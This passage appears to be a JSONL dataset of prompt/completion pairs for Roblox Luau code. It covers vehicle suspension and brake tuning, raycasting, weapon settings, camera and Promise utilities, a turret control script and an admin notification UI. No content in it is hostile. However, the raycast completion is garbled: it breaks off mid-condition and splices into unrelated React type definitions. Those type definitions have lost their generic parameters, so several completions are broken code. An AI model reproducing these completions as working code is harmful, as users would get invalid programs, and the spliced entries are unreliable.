ABS\n\tTune.ABSThreshold\t= 20\t\t-- Slip speed allowed before ABS starts working (in SPS) \n\n\tTune.FBrakeForce\t= 2500\t\t-- Front brake force\n\tTune.RBrakeForce\t= 1500\t\t-- Rear brake force\n\tTune.PBrakeForce\t= 10000\t\t-- Handbrake force\n\t\n\tTune.FLgcyBForce\t= 15000\t\t-- Front brake force [PGS OFF]\n\tTune.RLgcyBForce\t= 10000\t\t-- Rear brake force [PGS OFF]\n\tTune.LgcyPBForce\t= 25000\t\t-- Handbrake force [PGS OFF]\n\t"} +{"prompt": "--------------------------------------------------------------------------------\n-- Piercing raycasts", "completion": "\n\nlocal function getCollisionPoint(origin, dir)\n\tlocal originalSize = #blacklist\n\trepeat\n\t\tlocal hitPart, hitPoint = workspace:FindPartOnRayWithIgnoreList(\n\t\t\tray(origin, dir), blacklist, false, true\n\t\t)\n\n\t\tif hitPart then\n\t\t\tif hitPart.CanCollide then\n\t\t\t\teraseFromEnd(blacklist, originalSize)\n\t\t\t\treturn hitPoint, true\n\t\t\tend\n\t\t\tblacklist[#blacklist + 1] = hitPart\n\t\tend\n\tuntil not hitPart\n\n\teraseFromEnd(blacklist, originalSize)\n\treturn origin + dir, false\nend\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 5000\t\t-- Spring Force\n\tTune.FSusLength\t\t= 3.6\t\t\t-- Suspension length (in studs)\n\tTune.FSusMaxExt\t\t= .5\t\t-- Max Extension Travel (in studs)\n\tTune.FSusMaxComp\t= 1.2\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 5000\t\t-- Spring Force\n\tTune.RSusLength\t\t= 3.5\t\t\t-- Suspension length (in studs)\n\tTune.RSusMaxExt\t\t= .5\t\t-- Max Extension Travel (in studs)\n\tTune.RSusMaxComp\t= 1.2\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Really black\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ OUTROS ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,FastReload = true\t\t\t\t\t--- Automatically operates the bolt on reload if needed\n\t,SlideLock = true\n\t,MoveBolt = false\n\t,BoltLock = false\n\t,CanBreachDoor = false\n\t,CanBreak = true\t\t\t\t\t--- Weapon can jam?\n\t,JamChance = 1000\t\t\t\t\t--- This old piece of brick doesn't work fine >;c\n\t,IncludeChamberedBullet = true\t\t--- Include the chambered bullet on next reload\n\t,Chambered = false\t\t\t\t\t--- Start with the gun chambered?\n\t,LauncherReady = false\t\t\t\t--- Start with the GL ready?\n\t,CanCheckMag = true\t\t\t\t\t--- You can check the magazine\n\t,ArcadeMode = false\t\t\t\t\t--- You can see the bullets left in magazine\n\t,RainbowMode = false\t\t\t\t--- Operation: Party Time xD\n\t,ModoTreino = false\t\t\t\t\t--- Surrender enemies instead of killing them\n\t,GunSize = 4.5\n\t,GunFOVReduction = 5\n\n\t,BoltExtend = Vector3.new(0, 0, 0.4)\n\t,SlideExtend = Vector3.new(0, 0, 0.4)\t"} +{"prompt": "-- Nominal distance, set by dollying in and out with the mouse wheel or equivalent, not measured distance", "completion": "\nfunction BaseCamera:GetCameraToSubjectDistance(): number\n\treturn self.currentSubjectDistance\nend\n"} +{"prompt": "--[[\n\t\n\tReturns true if value exists in array.\n\t\n\tFunctions.SearchArray(\n\t\tarray,\t\t\t\t\t<-- |REQ| \tArray to search through\n\t\tsearch,\t\t\t\t\t<-- |REQ| \tSearch value\n\t)\n\t\n--]]", "completion": "\n\n\n\nreturn function(array, search)\n\tif not array then\n\t\treturn\n\tend\n\t--- Scan array\n\tfor _, value in ipairs(array) do\n\t\tif value == search then\n\t\t\t--- Matching value!\n\t\t\treturn true\n\t\tend\n\tend\n\n\t--- No matching value\n\treturn false\nend\n"} +{"prompt": "-- Mains", "completion": "\nTeleportationDoorEvent.OnClientEvent:Connect(function() -- When Client fires, this will response\n\tfor i = 1,10 do\n\t\tFrame.BackgroundTransparency -= 0.1\n\t\twait(0.01) -- 0.01 more faster fade or 0.1 slow fade\n\tend\n\twait(TeleportTime)\n\tfor i = 1,10 do\n\t\tFrame.BackgroundTransparency += 0.1\n\t\twait(0.01)\n\tend\nend) -- End\n"} +{"prompt": "--[=[\n\tAccepts an array of Promises and returns a Promise that is resolved as soon as *any* of the input Promises resolves. It will reject only if *all* input Promises reject. As soon as one Promises resolves, all other pending Promises are cancelled if they have no other consumers.\n\n\tResolves directly with the value of the first resolved Promise. This is essentially [[Promise.some]] with `1` count, except the Promise resolves with the value directly instead of an array with one element.\n\n\t```lua\n\tlocal promises = {\n\t\treturnsAPromise(\"example 1\"),\n\t\treturnsAPromise(\"example 2\"),\n\t\treturnsAPromise(\"example 3\"),\n\t}\n\n\treturn Promise.any(promises) -- Resolves with first value to resolve (only rejects if all 3 rejected)\n\t```\n\n\t@param promises {Promise}\n\t@return Promise\n]=]", "completion": "\nfunction Promise.any(promises)\n\treturn Promise._all(debug.traceback(nil, 2), promises, 1):andThen(function(values)\n\t\treturn values[1]\n\tend)\nend\n"} +{"prompt": "-- Component\n-- Stephen Leitnick\n-- July 25, 2020", "completion": "\n"} +{"prompt": "--This is done so that if we capture the flag during the 30 second gloating time, the script doesn't break.", "completion": "\n\nMessage = Instance.new(\"Message\")\nMessage.Parent = game.Workspace\nMessage.Text = \"The Enemy has won!\"\ngame:GetService(\"Debris\"):AddItem(Message, 10) --Bout 10 seconds to gloat.\n\n\nscript:Remove() --Suicide made fun!\n"} +{"prompt": "--[[\n\tReturns the current value of this ForValues object.\n\tThe object will be registered as a dependency unless `asDependency` is false.\n]]", "completion": "\nfunction class:get(asDependency: boolean?): any\n\tif asDependency ~= false then\n\t\tuseDependency(self)\n\tend\n\treturn self._outputTable\nend\n"} +{"prompt": "---Model By: Midnight Productions", "completion": "\n\nlocation = script.Parent.Parent.Parent\nregen = script.Parent.Parent\nsave = regen:clone()\n\nfunction onClicked()\n\tregen:remove()\n\tlocal back = save:clone()\n\tback.Parent = location\n\tback:MakeJoints()\nend \n\nscript.Parent.ClickDetector.MouseClick:connect(onClicked)\n"} +{"prompt": "--player.CameraMode = Enum.CameraMode.LockFirstPerson", "completion": "\nInstance.new(\"BlurEffect\",workspace.CurrentCamera).Size = 999\nplayer.PlayerGui:ClearAllChildren()\ngame:GetService('StarterGui'):SetCore(\"TopbarEnabled\", false)"} +{"prompt": "-- 100 == 1 0 == 0 1/0.5", "completion": "\n\nfunction JamCalculation()\n\tlocal L_175_\n\tif (math.random(1, 100) <= L_24_.JamChance) then\t\n\t\tL_175_ = true\n\t\tL_72_ = true\n\telse\n\t\tL_175_ = false\n\tend\n\treturn L_175_\nend\n\nfunction TracerCalculation()\n\tlocal L_176_\n\tif (math.random(1, 100) <= L_24_.TracerChance) then\t\n\t\tL_176_ = true\n\telse\n\t\tL_176_ = false\n\tend\n\treturn L_176_\nend\n\nfunction SearchResupply(L_177_arg1)\n\tlocal L_178_ = false\n\tlocal L_179_ = nil\n\t\n\tif L_177_arg1:FindFirstChild('ResupplyVal') or L_177_arg1.Parent:FindFirstChild('ResupplyVal') then\n\t\tL_178_ = true\n\t\tif L_177_arg1:FindFirstChild('ResupplyVal') then\n\t\t\tL_179_ = L_177_arg1.ResupplyVal\n\t\telseif L_177_arg1.Parent:FindFirstChild('ResupplyVal') then\n\t\t\tL_179_ = L_177_arg1.Parent.ResupplyVal\n\t\tend\n\tend\n\treturn L_178_, L_179_\nend\n\nfunction CheckReverb()\n\tlocal L_180_, L_181_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_6_.CFrame.p, (L_6_.CFrame.upVector).unit * 30), IgnoreList);\n\t\t\n\tif L_180_ then\n\t\tlocal L_182_ = L_56_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') or Instance.new(\"ReverbSoundEffect\", L_56_:WaitForChild('Fire'))\n\telseif not L_180_ then\n\t\tif L_56_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') then\n\t\t\tL_56_.Fire.ReverbSoundEffect:Destroy()\n\t\tend\n\tend\nend\n\nfunction UpdateAmmo()\n\tL_29_.Text = L_97_\n\tL_30_.Text = L_29_.Text\n\t\n\tL_31_.Text = '| ' .. math.ceil(L_98_ / L_24_.StoredAmmo)\n\tL_32_.Text = L_31_.Text\n\t\n\tif L_89_ == 0 then\n\t\tL_40_.Image = 'rbxassetid://' .. 1868007495\n\telseif L_89_ == 1 then\n\t\tL_40_.Image = 'rbxassetid://' .. 1868007947\n\telseif L_89_ == 2 then\n\t\tL_40_.Image = 'rbxassetid://' .. 1868008584\n\tend\n\t\n\tif L_88_ == 1 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0.7\n\t\tL_37_.BackgroundTransparency = 0.7\n\t\tL_38_.BackgroundTransparency = 0.7\n\t\tL_39_.BackgroundTransparency = 0.7\n\telseif L_88_ == 2 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0\n\t\tL_39_.BackgroundTransparency = 0\n\telseif L_88_ == 3 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0.7\n\t\tL_39_.BackgroundTransparency = 0.7\n\telseif L_88_ == 4 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0\n\t\tL_39_.BackgroundTransparency = 0.7\n\telseif L_88_ == 5 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0.7\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0.7\n\t\tL_39_.BackgroundTransparency = 0.7\n\telseif L_88_ == 6 then\n\t\tL_35_.BackgroundTransparency = 0\n\t\tL_36_.BackgroundTransparency = 0.7\n\t\tL_37_.BackgroundTransparency = 0\n\t\tL_38_.BackgroundTransparency = 0\n\t\tL_39_.BackgroundTransparency = 0.7\n\tend\n\t\nend\n"} +{"prompt": "-- VR only supports 1st person or 3rd person and no overrides", "completion": "\nfunction VRBaseCamera:SetCameraToSubjectDistance(desiredSubjectDistance: number): number\n\tlocal lastSubjectDistance = self.currentSubjectDistance\n\n\tlocal newSubjectDistance = math.clamp(desiredSubjectDistance, 0, player.CameraMaxZoomDistance)\n\tif newSubjectDistance < 1.0 then\n\t\tself.currentSubjectDistance = 0.5\n\t\tif not self.inFirstPerson then\n\t\t\tself:EnterFirstPerson()\n\t\tend\n\telse\n\t\tself.currentSubjectDistance = newSubjectDistance\n\t\tif self.inFirstPerson then\n\t\t\tself:LeaveFirstPerson()\n\t\tend\n\tend\n\n\t-- Pass target distance and zoom direction to the zoom controller\n\tZoomController.SetZoomParameters(self.currentSubjectDistance, math.sign(desiredSubjectDistance - lastSubjectDistance))\n\n\t-- Returned only for convenience to the caller to know the outcome\n\treturn self.currentSubjectDistance\nend\n"} +{"prompt": "--[=[\n\tChecks if the given object is a Signal.\n\n\t@param obj any -- Object to check\n\t@return boolean -- `true` if the object is a Signal.\n]=]", "completion": "\nfunction Signal.Is(obj)\n\treturn type(obj) == \"table\" and getmetatable(obj) == Signal\nend\n"} +{"prompt": "-- if no tagged children, display everything", "completion": "\nif #raycastParams.FilterDescendantsInstances==0 then\n\traycastParams:AddToFilter(workspace)\nend\n\nlocal terrain=workspace.Terrain\n\nlocal function castRay(currentPosition,rayDirection)\n\tlocal result = workspace:Raycast(currentPosition,rayDirection,raycastParams)\n\tlocal color\n\tif result then\n\t\tif result.Instance==terrain then\n\t\t\tif result.Material==Enum.Material.Water then\n\t\t\t\tcolor=terrain.WaterColor\n\t\t\telse\n\t\t\t\tcolor=terrain:GetMaterialColor(result.Material)\n\t\t\tend\n\t\telse\n\t\t\tcolor=result.Instance.Color\n\t\tend\n\telse\n\t\tcolor=Color3.new()\n\tend\n\treturn color\nend\n\nlocal actor = script:GetActor()\nlocal connection = actor:BindToMessageParallel(\"Invoke\", function(mapName,xEndIndex,zStartIndex,zEndIndex,startPosition,stepZ,stepX,rayDirection)\n\tlocal result1,result2,currentPosition,color1,color2\n\tlocal colors = table.create(xEndIndex)\n\tlocal strings = table.create(zEndIndex-zStartIndex+1)\n\tlocal diagonalStep=(stepX+stepZ)*0.5\n\n\tfor i = zStartIndex,zEndIndex do\n\t\tcurrentPosition=startPosition+i*stepZ\n\t\tfor j = 1,xEndIndex do\n\t\t\t-- cast two rays close to each other and pick the darkest one\n\t\t\tlocal color=castRay(currentPosition,rayDirection)\n\t\t\tlocal color2=castRay(currentPosition+(stepZ+stepX)*0.5,rayDirection)\n\t\t\tif color2.G = {\n\t[\"$$typeof\"]: number,\n\ttype: ReactProviderType,\n\tkey: nil | string,\n\tref: nil,\n\tprops: {\n\t\tvalue: T,\n\t\tchildren: ReactNodeList?,\n\t\t-- deviation START: only make this open to extension if absolutely necessary\n\t\t-- ...\n\t\t-- deviation END\n\t},\n\t-- deviation START: only make this open to extension if absolutely necessary\n\t-- ...\n\t-- deviation END\n}\n\nexport type ReactProviderType = {\n\t[\"$$typeof\"]: number,\n\t_context: ReactContext,\n\t-- deviation START: only make this open to extension if absolutely necessary\n\t-- ...\n\t-- deviation END\n}\n\nexport type ReactConsumer = {\n\t[\"$$typeof\"]: number,\n\ttype: ReactContext, -- FIXME: Luau can't do because: Recursive type being used with different parameters\n\tkey: nil | string,\n\tref: nil,\n\tprops: {\n\t\tchildren: (value: T) -> ReactNodeList,\n\t\tunstable_observedBits: number?,\n\t\t-- deviation START: only make this open to extension if absolutely necessary\n\t\t-- ...\n\t\t-- deviation END\n\t},\n\t-- deviation START: only make this open to extension if absolutely necessary\n\t-- ...\n\t-- deviation END\n}\n\nexport type ReactContext = {\n\t[\"$$typeof\"]: number,\n\tConsumer: ReactContext,\n\tProvider: ReactProviderType,\n\t_calculateChangedBits: ((T, T) -> number)?,\n\t_currentValue: T,\n\t_currentValue2: T,\n\t_threadCount: number,\n\t-- DEV only\n\t_currentRenderer: Object | nil,\n\t_currentRenderer2: Object | nil,\n\t-- This value may be added by application code\n\t-- to improve DEV tooling display names\n\tdisplayName: string?,\n\t-- deviation START: only make this open to extension if absolutely necessary\n\t-- ...\n\t-- deviation END\n}\n\nexport type ReactPortal = {\n\t[\"$$typeof\"]: number,\n\tkey: nil | string,\n\tcontainerInfo: any,\n\tchildren: ReactNodeList,\n\t-- TODO: figure out the API for cross-renderer implementation.\n\timplementation: any,\n\t-- deviation START: only make this open to extension if absolutely necessary\n\t-- ...\n\t-- deviation END\n}\n\nexport type RefObject = { current: any }\n"} +{"prompt": "-- constants", "completion": "\n\nlocal PLAYER_DATA\t= ReplicatedStorage.PlayerData\nlocal REMOTES\t\t= ReplicatedStorage.Remotes\nlocal SQUADS\t\t= ReplicatedStorage.Squads\n\nlocal MAX_PER_SECOND\t= 2\n"} +{"prompt": "--- BOOM!", "completion": "\n\nlocal c = colors[math.random(1,#colors)]\n\nfor j=1,20 do\n\n\tlocal p = Instance.new(\"Part\")\n\tp.Size = Vector3.new(1,1,1)\n\t--p.Transparency = 1\n\tp.Reflectance = 1\n\tp.Position = shell.Position + ( Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5) * 10)\n\tp.Velocity = shell.Velocity -- + (Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5) * 20)\n\n\t\n\tlocal s = Instance.new(\"Sparkles\")\n\ts.Color = c\n\ts.Parent = p\n\n\tlocal f = Instance.new(\"BodyForce\")\n\tf.force = Vector3.new(0,98,0)\n\tf.Parent = p\n\n\tp.Parent = game.Workspace\n\n\n\tlocal debris = game:GetService(\"Debris\")\n\tdebris:AddItem(p, 5)\n\nend\n\nlocal sound = Instance.new(\"Sound\")\n\tsound.SoundId = \"rbxasset://sounds\\\\Rocket shot.wav\"\n\tsound.Parent = script.Parent\n\tsound.Volume = 1\n\tsound:play()\n\nlocal e = Instance.new(\"Explosion\")\ne.BlastRadius = 0\ne.BlastPressure = 0\ne.Position = shell.Position\n"} +{"prompt": "--Messages", "completion": "\nlocal DeathMessages = {\"died.\", \"was killed.\", \"had a bad time.\"} --you can add more if you like :D\n"} +{"prompt": "-- Implements Javascript's `Map.prototype.forEach` as defined below\n-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set/forEach", "completion": "\nfunction Set:forEach(callback: setCallbackFn | setCallbackFnWithThisArg, thisArg: Object?): ()\n\tif typeof(callback) ~= \"function\" then\n\t\terror(\"callback is not a function\")\n\tend\n\n\t-- note: we can't turn this into a simple for-in loop, because the callbacks can modify the table and React, GQL, and Jest rely on JS behavior in that scenario\n\tarrayForEach(self._array, function(value)\n\t\tif thisArg ~= nil then\n\t\t\t(callback :: setCallbackFnWithThisArg)(thisArg, value, value, self)\n\t\telse\n\t\t\t(callback :: setCallbackFn)(value, value, self)\n\t\tend\n\tend)\nend\n\nfunction Set:has(value): boolean\n\treturn self._map[value] ~= nil\nend\n\nfunction Set:ipairs()\n\tif __DEV__ then\n\t\twarn(\n\t\t\tdebug.traceback(\n\t\t\t\t\"`for _,_ in mySet:ipairs() do` is deprecated and will be removed in a future release, please use `for _,_ in mySet do` instead\\n\",\n\t\t\t\t2\n\t\t\t)\n\t\t)\n\tend\n\treturn ipairs(self._array)\nend\n\nreturn Set\n"} +{"prompt": "--[[TODO:\n- Change Walk, Jump and Run animations\n- Add Sliding\n]]", "completion": "--\n"} +{"prompt": "--[[Brakes]]", "completion": "\n\tTune.ABSEnabled\t\t= true\t\t-- Implements ABS\n\tTune.ABSThreshold\t= 20\t\t-- Slip speed allowed before ABS starts working (in SPS) \n\n\tTune.FBrakeForce\t= 3000\t\t-- Front brake force\n\tTune.RBrakeForce\t= 2500\t\t-- Rear brake force\n\tTune.PBrakeForce\t= 13000\t\t-- Handbrake force\n\t\n\tTune.FLgcyBForce\t= 41000\t\t-- Front brake force [PGS OFF]\n\tTune.RLgcyBForce\t= 36000\t\t-- Rear brake force [PGS OFF]\n\tTune.LgcyPBForce\t= 150000 -- Handbrake force [PGS OFF]\n\t"} +{"prompt": "--[[**\n\t\tensures value matches given interface definition\n\n\t\t@param checkTable The interface definition\n\n\t\t@returns A function that will return true iff the condition is passed\n\t**--]]", "completion": "\n\tfunction t.interface(checkTable)\n\t\tassert(checkInterface(checkTable))\n\t\treturn function(value)\n\t\t\tlocal tableSuccess, tableErrMsg = t.table(value)\n\t\t\tif tableSuccess == false then\n\t\t\t\treturn false, tableErrMsg or \"\"\n\t\t\tend\n\n\t\t\tfor key, check in pairs(checkTable) do\n\t\t\t\tlocal success, errMsg = check(value[key])\n\t\t\t\tif success == false then\n\t\t\t\t\treturn false, string.format(\"[interface] bad value for %s:\\n\\t%s\", tostring(key), errMsg or \"\")\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\tend\n"} +{"prompt": "--// Connections", "completion": "\nIB:connect(function(input, chat)\n\tif not chat then\n\t\tif input.KeyCode == Settings.FireCannonKey then\n\t\t\tif not CannonReload then\n\t\t\t\tCannonReload = true\n\n\t\t\t\tStorage.FireCannon:FireServer(System.Gun.Missile, SettingsS, ExplosiveMissileScript, SmokeMissileScript, HeatMissileScript, System, ShellType)\n\t\t\t\t\n\t\t\t\twait(Settings.CannonReload)\n\t\t\t\t\n\t\t\t\tCannonReload = false\n\t\t\tend\n\t\telseif input.KeyCode == Settings.RotateSystemLeftKey then\n\t\t\tif not RotRightKeyDown then\n\t\t\t\tRotLeftKeyDown = true\n\t\t\t\t\n\t\t\t\tStorage.Sound:FireServer(Seat.Swiv, true)\n\t\t\t\twhile true do\n\t\t\t\t\tif RotLeftKeyDown then\n\t\t\t\t\t\twait(Settings.SystemTurnRate)\n\t\t\t\t\t\tDegrees = Degrees + 1\n\t\t\t\t\t\tStorage.RotateSystem:FireServer(Servo, Degrees)\n\t\t\t\t\telse\n\t\t\t\t\t\tStorage.Sound:FireServer(Seat.Swiv, false)\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\telseif input.KeyCode == Settings.RotateSystemRightKey then\n\t\t\tif not RotLeftKeyDown then\n\t\t\t\tRotRightKeyDown = true\n\t\t\t\tStorage.Sound:FireServer(Seat.Swiv, true)\n\t\t\t\t\n\t\t\t\twhile true do\n\t\t\t\t\tif RotRightKeyDown then\n\t\t\t\t\t\twait(Settings.SystemTurnRate)\n\t\t\t\t\t\tDegrees = Degrees - 1\n\t\t\t\t\n\t\t\t\t\t\tStorage.RotateSystem:FireServer(Servo, Degrees)\n\t\t\t\t\telse\n\t\t\t\t\t\tStorage.Sound:FireServer(Seat.Swiv, false)\n\t\t\t\t\t\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\telseif input.KeyCode == Settings.IncreaseAltKey then\n\t\t\tif not DecreaseAltKeyDown then\n\t\t\t\tIncreaseAltKeyDown = true\n\t\t\t\tStorage.Sound:FireServer(Seat.VertSound, true)\n\t\t\t\n\t\t\t\twhile true do\n\t\t\t\t\tif IncreaseAltKeyDown then\n\t\t\t\t\t\tif Degrees2 >= MaxUp then\n\t\t\t\t\t\t\tIncreaseAltKeyDown = false\n\t\t\t\t\t\t\tStorage.Sound:FireServer(Seat.VertSound, false)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\twait(Settings.GunMoveRate)\n\t\t\t\t\t\n\t\t\t\t\t\t\tDegrees2 = Degrees2 + 1\n\t\t\t\t\t\n\t\t\t\t\t\t\tStorage.RotateGun:FireServer(Servo2, Degrees2)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tStorage.Sound:FireServer(Seat.VertSound, false)\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\telseif input.KeyCode == Settings.DecreaseAltKey then\n\t\t\tif not IncreaseAltKeyDown then\n\t\t\t\tDecreaseAltKeyDown = true\n\t\t\t\tStorage.Sound:FireServer(Seat.VertSound, true)\n\t\t\t\t\n\t\t\t\twhile true do\n\t\t\t\t\tif DecreaseAltKeyDown then\n\t\t\t\t\t\tif Degrees2 <= MaxDown then\n\t\t\t\t\t\t\tDecreaseAltKeyDown = false\n\t\t\t\t\t\t\n\t\t\t\t\t\t\tStorage.Sound:FireServer(Seat.VertSound, false)\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\twait(Settings.GunMoveRate)\n\t\t\t\t\t\n\t\t\t\t\t\t\tDegrees2 = Degrees2 - 1\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tStorage.RotateGun:FireServer(Servo2, Degrees2)\t\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tStorage.Sound:FireServer(Seat.VertSound, false)\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\telseif input.KeyCode == Settings.AimKey then\n\t\t\tif not Aiming then\n\t\t\t\tAiming = true\n\t\t\t\tAttackMode(true)\n\t\t\telse\n\t\t\t\tAiming = false\n\t\t\t\tAttackMode(false)\n\t\t\tend\n\t\telseif input.KeyCode == Settings.SmokeKey then\n\t\t\tCurrent.Text = \"SELECTED: Smoke\"\n\t\t\tShellType = \"Smoke\"\n\t\telseif input.KeyCode == Settings.ExplosKey then\n\t\t\tCurrent.Text = \"SELECTED: Explosive\"\n\t\t\tShellType = \"Explosive\"\n\t\telseif input.KeyCode == Settings.HeatKey then\n\t\t\tCurrent.Text = \"SELECTED: HEAT\"\n\t\t\tShellType = \"Heat\"\n\t\tend\n\tend\nend)\n\nIE:connect(function(input, chat)\n\tif not chat then\n\t\tif input.KeyCode == Settings.RotateSystemRightKey then\n\t\t\tRotRightKeyDown = false\n\t\telseif input.KeyCode == Settings.RotateSystemLeftKey then\n\t\t\tRotLeftKeyDown = false\n\t\telseif input.KeyCode == Settings.DecreaseAltKey then\n\t\t\tDecreaseAltKeyDown = false\n\t\telseif input.KeyCode == Settings.IncreaseAltKey then\n\t\t\tIncreaseAltKeyDown = false\n\t\tend\n\tend\nend)\n\nSmokeB.MouseButton1Down:connect(function()\n\tCurrent.Text = \"SELECTED: Smoke\"\n\tShellType = \"Smoke\"\nend)\n\nExploB.MouseButton1Down:connect(function()\n\tCurrent.Text = \"SELECTED: Explosive\"\n\tShellType = \"Explosive\"\nend)\n\nHeatB.MouseButton1Down:connect(function()\n\tCurrent.Text = \"SELECTED: HEAT\"\n\tShellType = \"Heat\"\nend)\n\nJR:connect(function()\n\tUIS.MouseIconEnabled = true\n\tMainGUI:Destroy()\n\tscript:Destroy()\nend)\n\nRST:connect(function()\n\tif Aiming then\n\t\tcam.CFrame = System.Gun.AimPart.CFrame\n\tend\nend)\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data, env)\n\tif env then\n\t\tsetfenv(1, env)\n\tend\n\tlocal playergui = service.PlayerGui\n\tlocal localplayer = service.Players.LocalPlayer\n\n\tlocal frame = script.Parent.Parent\n\tlocal nFrame = frame:WaitForChild(\"Frame\");\n\tlocal iconF = nFrame:WaitForChild(\"Icon\");\n\tlocal main = nFrame:WaitForChild(\"Main\");\n\tlocal close = nFrame:WaitForChild(\"Close\");\n\tlocal title = nFrame:WaitForChild(\"Title\");\n\tlocal timer = nFrame:WaitForChild(\"Timer\");\n\n\tlocal gTable = data.gTable\n\tlocal clickfunc = data.OnClick\n\tlocal closefunc = data.OnClose\n\tlocal ignorefunc = data.OnIgnore\n\n\tlocal name = data.Title\n\tlocal text = data.Message or data.Text or \"\"\n\tlocal time = data.Time\n\tlocal icon = data.Icon or client.MatIcons.Info\n\n\tlocal returner = nil\n\n\tif clickfunc and type(clickfunc)==\"string\" then\n\t\tclickfunc = client.Core.LoadCode(clickfunc, GetEnv())\n\tend\n\tif closefunc and type(closefunc)==\"string\" then\n\t\tclosefunc = client.Core.LoadCode(closefunc, GetEnv())\n\tend\n\tif ignorefunc and type(ignorefunc)==\"string\" then\n\t\tignorefunc = client.Core.LoadCode(ignorefunc, GetEnv())\n\tend\n\n\tlocal holder = client.UI.Get(\"NotificationHolder\",nil,true)\n\n\tif not holder then\n\t\tclient.UI.Make(\"NotificationHolder\")\n\t\tholder = client.UI.Get(\"NotificationHolder\",nil,true)\n\t\tholder.Object.ScrollingFrame.Active = false\n\tend\n\n\tholder = holder.Object.ScrollingFrame\n\ttitle.Text = name\n\tmain.Text = text\n\ticonF.Image = icon\n\n\tlocal log = {\n\t\tType = \"Notification\";\n\t\tTitle = name;\n\t\tMessage = text;\n\t\tIcon = icon or 0;\n\t\tTime = os.date(\"%X\");\n\t\tFunction = clickfunc;\n\t}\n\n\ttable.insert(client.Variables.CommunicationsHistory, log)\n\tservice.Events.CommsCenter:Fire(log)\n\n\tmain.MouseButton1Click:Connect(function()\n\t\tif frame and frame.Parent then\n\t\t\tif clickfunc then\n\t\t\t\tclickfunc()\n\t\t\tend\n\t\t\tframe:Destroy()\n\t\tend\n\tend)\n\n\tclose.MouseButton1Click:Connect(function()\n\t\tif frame and frame.Parent then\n\t\t\tif closefunc then\n\t\t\t\tclosefunc()\n\t\t\tend\n\t\t\tgTable:Destroy()\n\t\tend\n\tend)\n\n\tframe.Parent = holder\n\n\ttask.spawn(function()\n\t\tlocal sound = 